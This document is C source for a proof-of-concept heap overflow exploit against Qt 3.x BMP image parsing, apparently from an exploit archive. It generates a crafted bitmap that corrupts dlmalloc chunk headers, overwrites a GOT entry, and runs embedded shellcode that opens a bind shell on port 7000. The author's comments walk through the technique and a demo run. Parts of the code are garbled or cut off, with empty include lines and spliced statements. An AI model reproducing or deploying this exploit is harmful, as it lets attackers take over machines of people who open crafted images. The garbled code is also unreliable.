Qt 3.x bmp image parsing local buffer overflow Exploit
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/*
* heap overflow exploit for qt bmp parsing bug
* infamous42md AT hotpop DOT com
*
* shouts to mitakeet, MB, and peeps @hackaholic
*
* ok, pretty standard heap overflow here. we spill across our chunk and
* overwrite the boundary tag for next chunk. the only problems i had was
* finding a miserable jump slot to overwrite. i thought i could just
* overwrite malloc jump slot, but umm, well i'm not sure how to get the jump
* slot for malloc from the shared library file. it is some sort of offset
* from somewhere, and i'm not sure where. using the malloc jump slot from the
* program you're exploiting doesn't seem to work. sorry i'm not an expert on
* linking and loading yet, maybe after i read the 'linker loader' book next
* semester i will be... but perhaps someone could explain this to me? so
* anyways, instead i hijacked QWidget::setCaption() jump slot. and how did i
* find that? well, it sure wasn't a 1337 way. i dumped the GOT in gdb until i
* found the address. so the below adddress is for Qt multithreaded 3.3.2. i'm
* sure it is different for other machines/platforms, so you'll need to do some
* digging i'm guessing. the program i used to test all this was qvv image
* viewer b/c it was small and didn't take 37 hours to d/l like Konqueror would
* of. obviously the heap layout is going to vary greatly from program to
* program, and depending on at what point in a given program the bmp is
* loaded, so i can't see this being a very reliable way to exploit. rather
* just a POC.
*
* [n00b localho outernet] netstat -ant | grep 7000
* [n00b localho outernet] gcc -Wall haqt.c
* [n00b localho outernet] ./a.out 0x80be9f8 8
* [n00b localho outernet] ./qvv suckit.bmp
* [n00b localho outernet] netstat -ant | grep 7000
* tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN
* [n00b localho outernet] ./a.out
* Usage: ./a.out [ align ]
*
*/
#include
#include
#include
#include
#include
#include
#include
#define RETLOC 0x808cd0c /* jump slot for QWidget::setCaption */
#define ALIGN 8
#define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
#define BS 0x10000
#define OUTFILE "suckit.bmp"
#define NCHUNK_BYTES 100
/* a bitmap header structure */
#define BMP_HDR_SZ sizeof(struct bmp)
struct bmp {
u_char type[2];
u_int bfsize,
reserved,
offbits, /* BMP_FILEHDR_SIZE */
bisize, /* 40 */
width, /* 8 */
height; /* 18 */
u_short planes, /* 1 */
bitcount; /* 8 */
u_int compres, /* 1 */
szimg,
xppm,
ypppm,
clrused, /* 1 */
clrimportant;
} __attribute__ ((packed));
/* a dlmalloc chunk descriptor */
#define CHUNKSZ sizeof(mchunk_t)
typedef struct _mchunk {
size_t prevsz;
size_t sz;
long fd;
long bk;
} mchunk_t;
/* call them on port 7000, mine, and needs to lose some weight */
#define SHELL_LEN (sizeof(remote)-1)
char remote[] =
"\xeb\x0a""1234567890" /* jump */
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xa1\x5f\x66\x6e\x69";
void make_bmp(char *buf, int len)
{
int fd = 0;
/* create the 3vil file */
if( (fd = open(OUTFILE, O_RDWR|O_CREAT, 0666)) [ align ]\n", argv[0]);
return EXIT_FAILURE;
}
if(argc > 2){
align = atoi(argv[2]);
if(align 15)
die("get bent bitch");
}
sscanf(argv[1], "%lx", &retaddr);
/* setup bitmap header info */
memset(&bmp, 0, BMP_HDR_SZ);
bmp.type[0] = 'B', bmp.type[1] = 'M';
bmp.bfsize = 3126;
bmp.bisize = 40;
bmp.planes = 1;
bmp.bitcount = 8;
bmp.compres = 1;
bmp.clrused = 1;
bmp.width = 8;
bmp.height = 18;
/* and the chunk */
chunk.prevsz = 224;
chunk.sz = 0xfffffffc;
chunk.fd = RETLOC - 12;
chunk.bk = retaddr;
/* and now setup the buffer */
memcpy(buf, &bmp, BMP_HDR_SZ);
len += BMP_HDR_SZ;
/* to pass some checks */
len += 4; /* the color table */
buf[len++] = 0; /* to pass the if() */
buf[len++] = 0xff; /* overwrite len */
/*
* and now the fun begins:
* first splatter the chunks, then the shellcode
*/
len += align;
for(x = 0; x
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